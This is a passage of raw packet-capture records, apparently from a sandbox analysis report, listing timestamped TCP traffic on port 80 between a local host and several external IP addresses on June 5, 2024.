                                Jun 5, 2024 18:28:37.069937944 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069947958 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069948912 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.069960117 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069967031 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.069993019 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070107937 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070131063 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070147038 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070158005 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070168018 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070168018 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070194006 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070209980 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070211887 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070211887 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070219994 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070230961 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070240974 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070249081 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070249081 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070251942 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070262909 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070272923 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070283890 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070286036 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070286036 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070297003 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070307970 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070317984 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070323944 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070328951 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070338964 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070348978 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070359945 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070359945 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070369959 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070380926 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070388079 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070388079 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070391893 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070401907 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070410013 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070413113 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070422888 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070432901 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070434093 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070444107 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070451021 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070453882 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070465088 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070476055 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070477009 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070487022 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070497990 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070497990 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070508003 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070513964 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070518970 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070528984 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070538044 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070539951 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.070565939 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.070616961 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:41.886734009 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:41.886826992 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:41.890011072 CEST4973280192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:41.895209074 CEST8049732172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:41.895319939 CEST4973280192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:41.897675991 CEST4973280192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:41.904596090 CEST8049732172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:43.399303913 CEST4973280192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:43.404525995 CEST8049732172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:43.404680967 CEST4973280192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:44.420213938 CEST4973380192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:44.425347090 CEST8049733172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:44.425476074 CEST4973380192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:44.430041075 CEST4973380192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:44.434988976 CEST8049733172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:45.947151899 CEST4973380192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:45.952992916 CEST8049733172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:45.954658031 CEST4973380192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:46.979547024 CEST4973480192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:46.984539986 CEST8049734172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:46.990525007 CEST4973480192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:46.992423058 CEST4973480192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:46.997308969 CEST8049734172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:46.997400999 CEST8049734172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:48.509955883 CEST4973480192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:48.515301943 CEST8049734172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:48.516529083 CEST4973480192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:49.527017117 CEST4973580192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:49.531871080 CEST8049735172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:49.532475948 CEST4973580192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:49.534404039 CEST4973580192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:49.539303064 CEST8049735172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:50.189184904 CEST8049735172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:50.240963936 CEST8049735172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:50.241157055 CEST4973580192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:50.242409945 CEST4973580192.168.2.7172.82.177.221
                                Jun 5, 2024 18:28:50.248215914 CEST8049735172.82.177.221192.168.2.7
                                Jun 5, 2024 18:28:55.762430906 CEST4973680192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:55.767263889 CEST804973615.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:55.767430067 CEST4973680192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:55.769731045 CEST4973680192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:55.774578094 CEST804973615.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:56.462140083 CEST804973615.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:56.462156057 CEST804973615.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:56.462598085 CEST4973680192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:56.519788027 CEST804973615.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:56.520505905 CEST4973680192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:57.274235964 CEST4973680192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:58.294521093 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:58.299453020 CEST804973715.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:58.299567938 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:58.302217007 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:58.307235956 CEST804973715.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:59.200982094 CEST804973715.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:59.200992107 CEST804973715.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:59.201189041 CEST804973715.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:59.201198101 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:59.201390982 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:59.202105999 CEST804973715.204.0.108192.168.2.7
                                Jun 5, 2024 18:28:59.202234030 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:28:59.839165926 CEST4973780192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:00.858517885 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:00.892082930 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:00.894637108 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:00.898577929 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:00.903563976 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:00.903816938 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:01.627319098 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:01.627338886 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:01.627494097 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:01.628508091 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:01.628509045 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:01.646755934 CEST804973815.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:01.652504921 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:02.399333954 CEST4973880192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:03.418103933 CEST4973980192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:03.423158884 CEST804973915.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:03.423522949 CEST4973980192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:03.428524971 CEST4973980192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:03.433490038 CEST804973915.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:04.128642082 CEST804973915.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:04.128660917 CEST804973915.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:04.129225969 CEST4973980192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:04.186151981 CEST804973915.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:04.186259985 CEST4973980192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:04.194729090 CEST4973980192.168.2.715.204.0.108
                                Jun 5, 2024 18:29:04.199588060 CEST804973915.204.0.108192.168.2.7
                                Jun 5, 2024 18:29:17.373126984 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:17.378050089 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:17.378256083 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:17.382042885 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:17.386909008 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210161924 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210196972 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210216999 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210236073 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210253954 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210269928 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:18.210275888 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210290909 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.210334063 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:18.330960989 CEST8049740194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:18.331639051 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:18.886573076 CEST4974080192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:19.902919054 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:19.907888889 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:19.907972097 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:19.910940886 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:19.915906906 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773403883 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773430109 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773446083 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773483038 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773490906 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773498058 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:20.773534060 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:20.773660898 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.773699045 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:20.911050081 CEST8049741194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:20.914995909 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:21.415059090 CEST4974180192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:22.437340975 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:22.442280054 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:22.442401886 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:22.445214987 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:22.450118065 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:22.450227976 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.273221970 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.273247957 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.273262024 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.273279905 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.273323059 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.273356915 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:23.273399115 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:23.393640041 CEST8049742194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:23.393775940 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:23.961852074 CEST4974280192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:24.980503082 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:24.985723972 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:24.987701893 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:24.987701893 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:24.992593050 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861164093 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861207962 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861249924 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861267090 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861306906 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861323118 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.861335039 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:25.861444950 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:25.998461962 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:25.998605967 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:25.999722004 CEST4974380192.168.2.7194.9.94.86
                                Jun 5, 2024 18:29:26.004543066 CEST8049743194.9.94.86192.168.2.7
                                Jun 5, 2024 18:29:31.029835939 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.034775972 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.034967899 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.037743092 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.042613029 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862610102 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862623930 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862629890 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862679005 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862683058 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.862687111 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862728119 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.862804890 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862812042 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862819910 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.862848997 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.862863064 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.862996101 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.863003969 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.863043070 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.867686033 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.867714882 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.867752075 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:31.981945038 CEST804974435.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:31.982007980 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:32.540071964 CEST4974480192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:33.560796976 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:33.565874100 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:33.568909883 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:33.573555946 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:33.578445911 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.400929928 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.400949001 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.400973082 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.400985003 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401006937 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401030064 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.401066065 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401076078 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.401087046 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401106119 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.401149988 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401160002 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401184082 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.401220083 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.401257038 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.406172991 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.406198978 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.406243086 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.406255007 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.406567097 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.406605005 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:34.520781994 CEST804974535.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:34.520837069 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:35.087018013 CEST4974580192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.107157946 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.112143993 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.112248898 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.115288019 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.120234013 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.120820999 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950640917 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950654984 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950803041 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950815916 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950835943 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.950959921 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950964928 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.950973034 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950985909 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.950997114 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.951051950 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.951051950 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.951143980 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.951158047 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.953860998 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:36.958611012 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.958623886 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.958638906 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.958651066 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:36.958928108 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:37.068190098 CEST804974635.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:37.068742037 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:37.618180037 CEST4974680192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:38.647593021 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:38.653549910 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:38.653636932 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:38.655515909 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:38.660958052 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487042904 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487085104 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487119913 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487289906 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487288952 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.487309933 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487325907 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487358093 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.487421989 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487441063 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487453938 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.487454891 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487492085 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.487591982 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.489114046 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.492165089 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.492217064 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.492229939 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.492294073 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.492460966 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.492505074 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.608133078 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608166933 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608180046 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608248949 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608318090 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.608392954 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608455896 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608467102 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608489990 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.608555079 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.608611107 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608617067 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608628988 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.608692884 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.609338999 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609359026 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609447002 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.609513998 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609627008 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609635115 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609702110 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609708071 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609719992 CEST804974735.214.235.206192.168.2.7
                                Jun 5, 2024 18:29:39.609772921 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.609772921 CEST4974780192.168.2.735.214.235.206
                                Jun 5, 2024 18:29:39.610474110 CEST804974735.214.235.206192.168.2.7
